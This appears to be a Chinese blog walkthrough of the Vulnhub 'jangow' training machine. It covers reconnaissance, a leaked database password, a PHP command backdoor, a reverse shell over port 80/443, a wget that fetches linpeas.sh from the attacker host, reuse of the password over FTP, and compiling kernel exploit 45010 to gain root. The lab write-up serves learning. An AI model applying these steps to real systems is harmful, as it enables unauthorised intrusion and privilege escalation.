Vulnhub打靶-jangow

news2024/10/20 13:12:15

基本信息

靶机下载:https://www.vulnhub.com/entry/jangow-101,754/

攻击机器:192.168.20.128(Windows操作系统)& 192.168.20.138(kali)

提示信息:这个框的秘密是枚举!

靶机:192.168.20.0/24

目标:获取2个flag+root权限

具体流程

信息收集

首先使用arp-scan -l查询IP,结果如下所示

image-20241019163537628

所以我们靶机对应的IP为192.168.20.142

再使用nmap扫描靶机的端口,命令为nmap -O -sV -p- -A 192.168.20.142

image-20241019164036012

我们发现开启了80端口和21端口,即开启了http服务和ftp服务,我们先从80端口入手,浏览器访问80端口,如下所示

image-20241019170054372

首先还是先进行目录扫描,我们先使用dirsearch的默认字典看看有没有泄露,但是除了一些资源地址并没有什么新的发现

image-20241019170627535

我们这里发现了一个.backup文件,试着访问,信息如下

image-20241019171739885

是一个sql配置备份文件,在这里没什么作用,但是先把信息记录下来,后面可能会有用处

$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
mysqli_close($conn);

同时我们使用其他更大的字典的时候,发现扫出来了wordpress路径,如下所示

image-20241019173540741

我们直接访问该路径,具体页面如下所示

image-20241019173857860

我们点击访问Buscar,发现具有命令执行的php后门,如下所示

image-20241019174244530

我们直接尝试反弹shell

反弹shell

通过尝试,我们发现普通的反弹shell会失败,即命令会被加载,但是一直反弹不成功,我们猜测可能是端口被限制了,我们试着使用80端口或者443端口,因为一般的服务器都不会限制80端口和443端口的流量

image-20241019175352351

成功获取到流量,接下来进行提权即可

权限提升

首先我们进入tmp目录,从我们的Windows主机上下载linpeas.sh,我们执行wget http://192.168.20.1/linpeas.sh,如下所示

image-20241020112406413

我们发现这里始终连接不上,应该也是靶机做了限制,所以我们这里使用ftp进行连接,因为靶机开放了21端口,而21端口刚好可以用来进行文件传输,这里我们猜测密码进行了复用,即刚刚发现的.backup文件

账号:jangow01
密码:abygurl69

image-20241020113243416

成功上传到/tmp目录下,我们接下来就是加运行权限然后运行即可

image-20241020113913338

运行之后可以发现存在一个高危漏洞,所以我们直接下载exp上传到靶机上执行即可获取权限,执行以下命令

gcc 45010.c -o 45010
chmod +x 45010
./45010

image-20241020114543803

成功获取靶机root权限,接下来我们寻找两个flag

image-20241020114752323

image-20241020114830748

本题到此全部攻克,难度比较小

总结

  1. 反弹shell限制端口的绕过
  2. 密码的复用
  3. ftp的利用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2219315.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

汽车票预订系统:SpringBoot框架的优势

6系统测试 6.1概念和意义 测试的定义:程序测试是为了发现错误而执行程序的过程。测试(Testing)的任务与目的可以描述为: 目的:发现程序的错误; 任务:通过在计算机上执行程序,暴露程序中潜在的错误。 另一个…

软考(网工)——网络安全

文章目录 🕐网络安全基础1️⃣网络安全威胁类型2️⃣网络攻击类型 🕑现代加密技术1️⃣私钥密码/对称密码体制2️⃣对称加密算法总结3️⃣公钥密码/非对称密码4️⃣混合密码5️⃣国产加密算法 - SM 系列6️⃣认证7️⃣基于公钥的认证 🕒Hash …

证件照小程序源码,前后端稳定运行

演示:证寸照制作 运行环境: Linux Nginx PHP >5.6 MySQL>5.6 安装步骤: 1.下载源码上传至你的服务器宝塔面板 2.直接添加站点选择源码目录,新建数据库 3.设置代码执行目录为/web 4.在浏览器中输入你的域名,会提示安装,填写…

Flink消费Kafka实时写入Doris

本文模拟实际生产环境,通过FileBeat采集日志信息到Kafka,再通过Flink消费Kafka实时写入Doris。 文章目录 Filebeat采集日志到KafkaFlink消费Kafka实时写入Doris总结 Filebeat采集日志到Kafka 常见的日志采集工具有以下几种:Flume、Logstash和…

自动机器学习(AutoML)

utoML是PAI的提供的自动寻找超参组合的机器学习增强型服务。您在训练模型时,如果超参组合复杂度过高,需大量训练资源和手工调试工作,可以使用AutoML来节省模型调参时间,提升模型调优效率和模型质量。 基础概念 超参数:…

Spring 获取URL中的参数

PathVariable 获取多个变量参数重命名 获取 URL 中的 Id,可以根据 Id 到数据库中筛选相应的内容 Id 的类型是可以定义的,这里定义为 Integer 类型 并且在 RequestMapping中需要定义路径 {articleId} PathVariable 从路径中获取 变量 获取多个变量 参数…

【软件运行类文档】项目试运行方案,试运行计划书(word原件)

一、 试运行目的 (一) 系统功能、性能与稳定性考核 (二) 系统在各种环境和工况条件下的工作稳定性和可靠性 (三) 检验系统实际应用效果和应用功能的完善 (四) 健全系统运行管理体制&…

jmeter发送post请求

在jmeter中,有两种常用的请求方式,get和post.它们两者的区别在于get请求的参数一般是放在路径中,可以使用用户自定义变量和函数助手等方式进行参数化,而post请求的参数不能随url发送,而是作为请求体提交给服务器。而在…

打开游戏提示丢失(或找不到)XINPUT1_3.DLL的多种解决办法

xinput1_3.dll是一个动态链接库(DLL)文件,它在Windows操作系统中扮演着重要的角色。该文件作为系统库文件,通常存放于C:\Windows\System32目录下(对于32位系统)或C:\Windows\SysWOW64目录下(对于…

PPT自动化:快速更换PPT图片(如何保留原图片样式等参数更换图片)

文章目录 📖 介绍 📖🏡 演示环境 🏡📒 PPT更换图片 📒1. 安装 `python-pptx` 模块2. 加载PPT文件3. 查找并替换图片3.1 查找图片形状3.2 获取原图片的样式和位置3.3 替换图片4. 保存修改后的PPT文件5. 设置图片的相关参数5.1 设置透明度5.2 设置边框🚀 保留所有参…

FFmpeg 4.3 音视频-多路H265监控录放C++开发四 :RGB颜色

一 RGB 的意义? 为什么要从RGB 开始讲起呢? 因为最终传输到显卡显示器的颜色都是RGB 即使能处理YUV的API,本质上也是帮你做了从 YUV 到 RGB的转换。 RGB888 表示 R 占8bit,G 占8bit,B 占8bit,也就是每一…

内网微隔离,三步防横移——基于微隔离的横移攻击防护方案

引言 在网络攻防的战场上,横移攻击如同隐匿的刺客,一旦突破边界,便在内网肆意游走,给企业网络安全带来致命损害。当前多数企业数据中心内网如同未设防的城池,面对突破外围边界的“刺客”毫无招架之力。蔷薇灵动基于多…

Thread类的介绍

线程是操作系统中的概念,操作系统中的内核实现了线程这种机制,同时,操作系统也提供了一些关于线程的API让程序员来创建和使用线程。 在JAVA中,Thread类就可以被视为是对操作系统中提供一些关于线程的API的的进一步的封装。 多线…

基于SpringBoot+Vue+uniapp微信小程序的澡堂预订的微信小程序的详细设计和实现

项目运行截图 技术框架 后端采用SpringBoot框架 Spring Boot 是一个用于快速开发基于 Spring 框架的应用程序的开源框架。它采用约定大于配置的理念,提供了一套默认的配置,让开发者可以更专注于业务逻辑而不是配置文件。Spring Boot 通过自动化配置和约…

Goland 搭建Gin脚手架

一、使用编辑器goland 搭建gin 打开编辑器 新建项目后 点击 create 二、获得Gin框架的代码 命令行安装 go get -u github.com/gin-gonic/gin 如果安装不上,配置一下环境 下载完成 官网git上下载 这样就下载完成了。、 不过这种方法需要设置一下GOPATH 然后再执…

Electron-(三)网页报错处理与请求监听

在前端开发中,Electron 是一个强大的框架,它允许我们使用 Web 技术构建跨平台的桌面应用程序。在开发过程中,及时处理网页报错和监听请求是非常重要的环节。本文将详细介绍 Electron 中网页报错的日志记录、webContents 的监听事件以及如何监…

【uniapp】打包成H5并发布

目录 1、设置配置mainifest.sjon 1.1 页面标题 1.2 路由模式 1.3 运行的基础路径 2、打包 2.1 打包入口 2.2 打包成功 2.3 依据目录找到web目录 3、 将web目录整体拷贝出来 4、上传 4.1 登录uniapp官网注册免费空间 4.2 上传拷贝的目录 4.3 检查上传是否正确 5、…

【软件测试】JUnit

Junit 是一个用于 Java 编程语言的单元测试框架,Selenium是自动化测试框架,专门用于Web测试 本篇博客介绍 Junit5 文章目录 Junit 使用语法注解参数执行顺序断言测试套件 Junit 使用 本篇博客使用 Idea集成开发环境 首先,创建新项目&#…

【Python-AI篇】人工智能python基础-计算机组成原理

1. 计算机组成原理 2. python基础(查漏补缺) 2.1 字符串 2.1.1 字符串查找方法 find(): 检测某个字符串是否包含在这个字符串中,在的话返回下标,不在的话返回-1index(): 检测某个字符串是否包含在这个字…

git命令使用一览【自用】

git常见操作: git initgit remote add master【分支名字】 gitgits.xxxxx【仓库中获取的ssh链接或者http协议的链接】检查远程仓库是否链接成功。 git remote -v出现以下画面就可以git pull,git push了